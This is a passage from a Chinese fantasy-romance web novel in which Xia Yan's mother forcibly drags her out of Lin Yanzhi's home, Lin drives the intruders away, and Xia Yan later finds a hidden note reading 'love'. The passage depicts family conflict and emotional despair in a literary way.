夏焰侧身卧倒抱住它一起缩进书桌底,拽着椅子腿挡在前面。
门外的敲门声戛然而止,难以捉摸的停顿更让人不安。
豆豆毛茸茸的爪子搭在夏焰手臂上,软软的肚皮也紧贴着她的身体,两人心脏贴在一处,跳得飞快。
大门被打开了,夏焰在惊讶中心脏跳漏一拍。
书房门外的脚步声越来越近,说话的声音越来越清晰:
“师傅,麻烦再开一下这个门。”
沈盛的声音出现在门外,夏焰面上不动声色,心里满是诧异。她找来这里这里做什么?真要捆她回去?
下一秒听见锁芯转动的声音,夏焰搂紧豆豆,捏住它的嘴筒子,叫它不要出声。
“夏焰!出来!”
豆豆推开她的手,抬头看她:“燕燕,我害怕。”
胆怯的神情出现在小狗的脸上,多让人心酸,它不应该和夏焰一起躲在这里,应该躺在家喝牛奶吃饼干,它是最无忧无虑的小狗。
夏焰没说话,只是更加用力地抱紧它,轻拍它因害怕而颤抖的身体。
她也在颤抖。
木门合页发出“吱呀”声,铝制门锁就这么被轻而易举地打开了,一条狭窄的门缝慢慢变大。
几乎是瞬间豆豆挣开她的手臂,在外面开门那一刻,向外扑去。
“豆豆!”
夏焰呼喊出声时豆豆都已经扑倒了一人。
门外传来尖叫,豆豆龇牙咧嘴要捍卫它的朋友,直到最后一秒。
门外人不遗余力地将它踹开,沈盛手里拿着一截细长的树枝,作势要抽向面前的小狗:“滚开!”
豆豆一口咬住她手上的树枝和她对峙,两边同时用力,树枝被拉得笔直,它挡在沈盛面前,成功牵制住她。
开锁师傅识趣地躲开纷争,脚底抹油般逃离混乱的局面。
而另一个熟悉的人影出现在书房外。
在夏焰看清来人的一刹那,她恍惚起来,全身力气被抽干。
“妈妈。”夏焰的声音麻木了。
“你还知道我是你妈?”夏硕的声音带着毒刺,每一根刺都以夏焰为准心,向她狠狠刺去。
夏焰一声不吭,也不愿离开书桌。
“你为什么不去工作?躲在这里?你告诉我这是谁家?”
夏焰垂眼,母亲的高跟鞋踩在书房的木地板上,木地板太过光洁,让人疑心一定是抛过蜡,居然能反照出她的脸,还有母亲鲜红的鞋底,红得绝望。
“我还不知道,你居然一直和这个男人住在一起。”
她的提包挂在肘弯,微微抬头环顾四周,高跟鞋在地板上挪动,啪,啪作响。
不大的书房她很快就转完一圈,最后回到书桌前,手指捻起一只没盖上笔帽的钢笔,墨水污染了桌上的白纸资料。
也沾染她的手指。
指腹上一块乌黑的墨水痕迹,她垂下手,让夏焰看得一清二楚。
夏焰的心高高悬起,望着她的手指皱起眉头。
“你到底还有没有羞耻心?”
她撑着桌沿突然弯腰,弓身折叠着身体,探出那只沾有墨水的手,抓向夏焰的脑袋。
被夏焰俯身躲开。
“你不去工作,躲在这里像什么样子?”
她厉声呵斥,身体折叠得愈发吓人,趁夏焰愣神,迅速抓住她的衣领,狠狠向外揪拽。
夏焰被拽得一个踉跄。
“我对你太失望了!”她下颌绷紧,咬着牙吼出这句话。
夏焰埋头一声不吭,任由母亲拖拽她的身体。
书房外时不时传来豆豆的哀嚎,她害怕它真的受伤。
身体在地上拖行,她用手死死抓住桌腿,像抓住最后一根救命稻草,母亲一根根掰过她的手指,她的胳膊在地上被桌子粗糙棱面划出血痕。
“妈妈。”她终于忍不住哭了。
一滴泪落在母亲的手背上。
她一瞬间的愣神,大幅度喘息。
“起来,和我回去。”
她撑着夏焰的胳膊,要把她扶起。
“沈盛给你安排好了工作,你乖乖去。”
“起来啊!”
夏焰无助地摇头,不敢问她到底知不知道沈盛安排的工作到底是什么。她不在意这个,只在意她的期待有没有落空。
“你怎么变成现在这样!早知道你会变成这样我怎么会生下你!”她目眦欲裂,口不择言。
夏焰浑身发冷,四肢百骸都透着凉气,她不敢置信地抬眼看向母亲。对方被她的眼神刺痛,眼底转瞬即逝片刻茫然。
“你拿走吧!”夏焰跪坐起来狠狠拍打自己的胸口,放声尖叫,“你拿走啊!”
她放声痛哭,那是积压已久的痛苦和绝望,她早就做好准备,该怎样在她的面前轰然死去。
她没能如愿,林砚之气喘吁吁撞开半掩的门,出现在门口,胸腔剧烈起伏,周身戾气快要溢出。他握紧拳头猛地打在门框上怒瞪女人。
夏焰向他投去无声的回应,嘴唇蠕动着。
是怪他来的太晚?没能阻止这一切。还是来得太早?推迟了她完成自刎。
林砚之冲进书房拽过女人的胳膊,连带着客厅的沈盛一起推到大门外。
“出去!”
他脖颈处青筋暴起,气压低得吓人。
“你敢动我一下试试!”夏硕用力瞪着他。
他推着她们,发出怒吼:
“这是我家!我叫你们出去!”
“夏焰!出来!”
沈盛还在回头。
林砚之强硬地扭过她的肩膀:“滚出去!”
“我们要报警!你藏起我女儿!”
不论门外人如何叫嚷,他用力把门关上,巨大的动静让房门一震。
他深呼吸,向后撸了一把头发,整理好表情走进书房,和两只小狗面面相觑。
他打电话给丁丁,叫他来把豆豆接走。
“我不走,我要保护小燕!”
豆豆在丁丁怀里扭来扭去,不肯和他走,它也被林砚之吓坏了,从来没见过他发火的样子
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,害怕他会伤害夏焰。
林砚之抱起夏焰,托起她冰凉的身体,打开暖风吹热浴室,放出热水,把她放进浴缸。
他的手包住她的爪子,打湿毛巾仔细给她擦拭身体。
浴缸水面轻晃,夏焰变回人形,怔怔坐在浴缸里,打湿了衣服。
林砚之松开她的手,扑通掉进水里。
她抬头望向他。
林砚之喉结轻滚,声音嘶哑:“洗好叫我,我在门外。”
说完便起身带上门出去,故意忽视她好绝望好绝望的脸。
她坐在水汽氤氲的浴室,透过磨砂玻璃看着他守在门外的背影轮廓。
抬手脱掉紧贴在身上湿透的衣服。
“进来!你进来!”她朝门外喊。
林砚之推开门,就看她浑身赤裸地站在他面前,他身体一僵,转头避开视线,手紧扣住门把手,她平静的声音飘荡在他耳边:“你到底为什么要这样?为了什么?”
夏焰没有靠近他,仍然站在原地,她撑大眼睛,眼泪挂在下睫毛上,只等数完三二一,一鼓作气地跳下。
“我知道你爱我!”
她的声音幻化出实体捶打他的胸口,他的五脏六腑搅成一团,拧着他的皮肉,让他生不如死。
“你为什么不说,你就要死了吗?”声声泣血,“你说啊,说你爱我!”
他们之间始终隔着一层看不见隔阂,是他卧室起雾的玻璃窗,是她裙边的欧根纱。
她透过纱眼看他。
他梗着脖子转身,看不清他的表情。
林砚之抬手蹭了下眼角,强打精神侧头和她说话:“不要,不要着凉了。”他的声音哽住,“浴巾在架子上,你肚子饿不饿?”
夏焰垂着眼,声音冰冷:“你走吧。”
“我去把车停好。”他脚步踌躇,又重复了一遍,“浴巾在架子上。”
“你走啊!”夏焰猛地抬眼,拔高声音。
关门的声音响起,她抱腿坐在瓷砖上。
直到身上的水珠被暖风吹干。
她站起身来,推开门走出浴室。
她来到客厅,和正在唱歌的尼莫对视。
夏焰就这样摊开双手,赤裸裸地站在它面前:“我们现在是一样的。”
尼莫短暂停顿了一秒,吐出一个泡泡,泡泡破裂,它继续忘我地歌唱。
夏焰微笑着,光着身子在屋里走动,她不觉得羞耻,她赤裸地来,也会赤裸地走。这是她的本意,不受他人安排指引。
月亮在夜空中探出头来,毫不吝啬地告诉所有人,明天是个好天气。
她坐在月光下,仰面沐浴着皎洁的月光,流水和月光先后洗礼她的身体,洗去身体的污秽和灵魂的疲惫。
桌边的手机发出震动,夏焰没有理会,它从桌边掉落在地,竟然摔出一直藏在手机壳后的字条。
“谜底在纸上。”
她不懂。
当时不懂,现在也不懂。
情绪的潮汐在月光下反复涌现,她的眼泪终于做好准备一跃而下,跳到字条上。
尼莫在鱼缸里唱歌,听不真切。
夏焰认为是自己溺亡在水中,才听不清它的声音。
泪珠和那张泛黄发软的纸条迅速结合,生出淡色的字迹。
夏焰用力眨眼,凑近字条,每一笔她都看清楚了。
是“爱。”
夏焰侧耳听见尼莫正唱到那句:“爱如潮水它将你我包围。”